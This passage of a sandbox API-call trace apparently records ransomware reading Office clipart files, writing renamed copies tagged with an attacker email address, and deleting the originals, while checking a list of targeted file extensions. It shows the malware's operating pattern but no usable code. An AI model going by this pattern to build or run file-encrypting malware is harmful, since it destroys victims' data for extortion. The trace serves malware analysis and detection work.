Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0243.607] GetLastError () returned 0x0 [0243.607] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x2458, lpOverlapped=0x0) returned 1 [0243.813] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2460, lpOverlapped=0x0) returned 1 [0243.814] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.814] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.815] SetEndOfFile (hFile=0x39c) returned 1 [0243.815] CloseHandle (hObject=0x39c) returned 1 [0243.815] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.815] SetEndOfFile (hFile=0x3b0) returned 1 [0243.817] CloseHandle (hObject=0x3b0) returned 1 [0243.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0243.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0243.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0243.818] lstrlenW (lpString=".doc") returned 4 [0243.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.818] lstrlenW (lpString=".docx") returned 5 [0243.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.818] lstrlenW (lpString=".pdf") returned 4 [0243.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.818] lstrlenW (lpString=".xls") returned 4 [0243.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.818] lstrlenW (lpString=".xlsx") returned 5 [0243.818] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.818] lstrlenW (lpString=".ppt") returned 4 [0243.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0243.818] lstrlenW (lpString=".zip") returned 4 [0243.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.819] lstrlenW (lpString=".rar") returned 4 [0243.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.819] lstrlenW (lpString=".bz2") returned 4 [0243.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.819] lstrlenW (lpString=".7z") returned 3 [0243.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0243.819] lstrlenW (lpString=".dbf") returned 4 [0243.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0243.819] lstrlenW (lpString=".1cd") returned 4 [0243.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0243.819] lstrlenW (lpString=".jpg") returned 4 [0243.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0243.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0243.819] lstrlenW (lpString=".doc") returned 4 [0243.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.819] lstrlenW (lpString=".docx") returned 5 [0243.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.820] lstrlenW (lpString=".pdf") returned 4 [0243.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.820] lstrlenW (lpString=".xls") returned 4 [0243.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.820] lstrlenW (lpString=".xlsx") returned 5 [0243.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.820] lstrlenW (lpString=".ppt") returned 4 [0243.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0243.820] lstrlenW (lpString=".zip") returned 4 [0243.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.820] lstrlenW (lpString=".rar") returned 4 [0243.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.820] lstrlenW (lpString=".bz2") returned 4 [0243.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.820] lstrlenW (lpString=".7z") returned 3 [0243.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0243.820] lstrlenW (lpString=".dbf") returned 4 [0243.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0243.820] lstrlenW (lpString=".1cd") returned 4 [0243.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0243.820] lstrlenW (lpString=".jpg") returned 4 [0243.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.820] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.820] lstrlenW (lpString="BL00261_.WMF") returned 12 [0243.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.861] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=12482) returned 1 [0243.861] CloseHandle (hObject=0x3a0) returned 1 [0243.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20 [0243.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.918] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.918] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0244.386] GetLastError () returned 0x0 [0244.386] ReadFile (in: hFile=0x3a4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x30c2, lpOverlapped=0x0) returned 1 [0244.394] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0244.395] ReadFile (in: hFile=0x3a4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.395] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.396] SetEndOfFile (hFile=0x360) returned 1 [0244.396] CloseHandle (hObject=0x360) returned 1 [0244.396] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.396] SetEndOfFile (hFile=0x3a4) returned 1 [0244.398] CloseHandle (hObject=0x3a4) returned 1 [0244.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0244.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0244.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0244.424] lstrlenW (lpString=".doc") returned 4 [0244.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.424] lstrlenW (lpString=".docx") returned 5 [0244.424] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.424] lstrlenW (lpString=".pdf") returned 4 [0244.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.424] lstrlenW (lpString=".xls") returned 4 [0244.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.424] lstrlenW (lpString=".xlsx") returned 5 [0244.424] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.424] lstrlenW (lpString=".ppt") returned 4 [0244.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0244.424] lstrlenW (lpString=".zip") returned 4 [0244.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.424] lstrlenW (lpString=".rar") returned 4 [0244.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.424] lstrlenW (lpString=".bz2") returned 4 [0244.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.424] lstrlenW (lpString=".7z") returned 3 [0244.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0244.424] lstrlenW (lpString=".dbf") returned 4 [0244.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0244.424] lstrlenW (lpString=".1cd") returned 4 [0244.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0244.424] lstrlenW (lpString=".jpg") returned 4 [0244.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0244.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0244.425] lstrlenW (lpString=".doc") returned 4 [0244.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.425] lstrlenW (lpString=".docx") returned 5 [0244.425] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.425] lstrlenW (lpString=".pdf") returned 4 [0244.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.425] lstrlenW (lpString=".xls") returned 4 [0244.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.425] lstrlenW (lpString=".xlsx") returned 5 [0244.425] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.425] lstrlenW (lpString=".ppt") returned 4 [0244.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0244.425] lstrlenW (lpString=".zip") returned 4 [0244.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.425] lstrlenW (lpString=".rar") returned 4 [0244.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.425] lstrlenW (lpString=".bz2") returned 4 [0244.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.425] lstrlenW (lpString=".7z") returned 3 [0244.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0244.425] lstrlenW (lpString=".dbf") returned 4 [0244.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0244.425] lstrlenW (lpString=".1cd") returned 4 [0244.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0244.425] lstrlenW (lpString=".jpg") returned 4 [0244.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.426] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.426] lstrlenW (lpString="BL00274_.WMF") returned 12 [0244.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.426] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=4164) returned 1 [0244.426] CloseHandle (hObject=0x398) returned 1 [0244.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x20 [0244.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.427] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.427] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0244.427] GetLastError () returned 0x0 [0244.427] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1044, lpOverlapped=0x0) returned 1 [0244.428] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1050, lpOverlapped=0x0) returned 1 [0244.430] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.430] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.430] SetEndOfFile (hFile=0x360) returned 1 [0244.430] CloseHandle (hObject=0x360) returned 1 [0244.430] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.430] SetEndOfFile (hFile=0x398) returned 1 [0244.432] CloseHandle (hObject=0x398) returned 1 [0244.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0244.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0244.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0244.433] lstrlenW (lpString=".doc") returned 4 [0244.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.433] lstrlenW (lpString=".docx") returned 5 [0244.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.433] lstrlenW (lpString=".pdf") returned 4 [0244.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.433] lstrlenW (lpString=".xls") returned 4 [0244.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.433] lstrlenW (lpString=".xlsx") returned 5 [0244.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.433] lstrlenW (lpString=".ppt") returned 4 [0244.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0244.433] lstrlenW (lpString=".zip") returned 4 [0244.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.433] lstrlenW (lpString=".rar") returned 4 [0244.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.433] lstrlenW (lpString=".bz2") returned 4 [0244.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.433] lstrlenW (lpString=".7z") returned 3 [0244.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0244.433] lstrlenW (lpString=".dbf") returned 4 [0244.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0244.434] lstrlenW (lpString=".1cd") returned 4 [0244.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0244.434] lstrlenW (lpString=".jpg") returned 4 [0244.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0244.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0244.434] lstrlenW (lpString=".doc") returned 4 [0244.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.434] lstrlenW (lpString=".docx") returned 5 [0244.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.434] lstrlenW (lpString=".pdf") returned 4 [0244.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.434] lstrlenW (lpString=".xls") returned 4 [0244.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.434] lstrlenW (lpString=".xlsx") returned 5 [0244.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.434] lstrlenW (lpString=".ppt") returned 4 [0244.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0244.434] lstrlenW (lpString=".zip") returned 4 [0244.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.434] lstrlenW (lpString=".rar") returned 4 [0244.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.434] lstrlenW (lpString=".bz2") returned 4 [0244.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.434] lstrlenW (lpString=".7z") returned 3 [0244.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0244.434] lstrlenW (lpString=".dbf") returned 4 [0244.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0244.434] lstrlenW (lpString=".1cd") returned 4 [0244.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0244.435] lstrlenW (lpString=".jpg") returned 4 [0244.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.435] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.435] lstrlenW (lpString="BL00296_.WMF") returned 12 [0244.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.435] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=812) returned 1 [0244.435] CloseHandle (hObject=0x398) returned 1 [0244.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x20 [0244.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.436] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.436] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0244.436] GetLastError () returned 0x0 [0244.436] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x32c, lpOverlapped=0x0) returned 1 [0244.438] 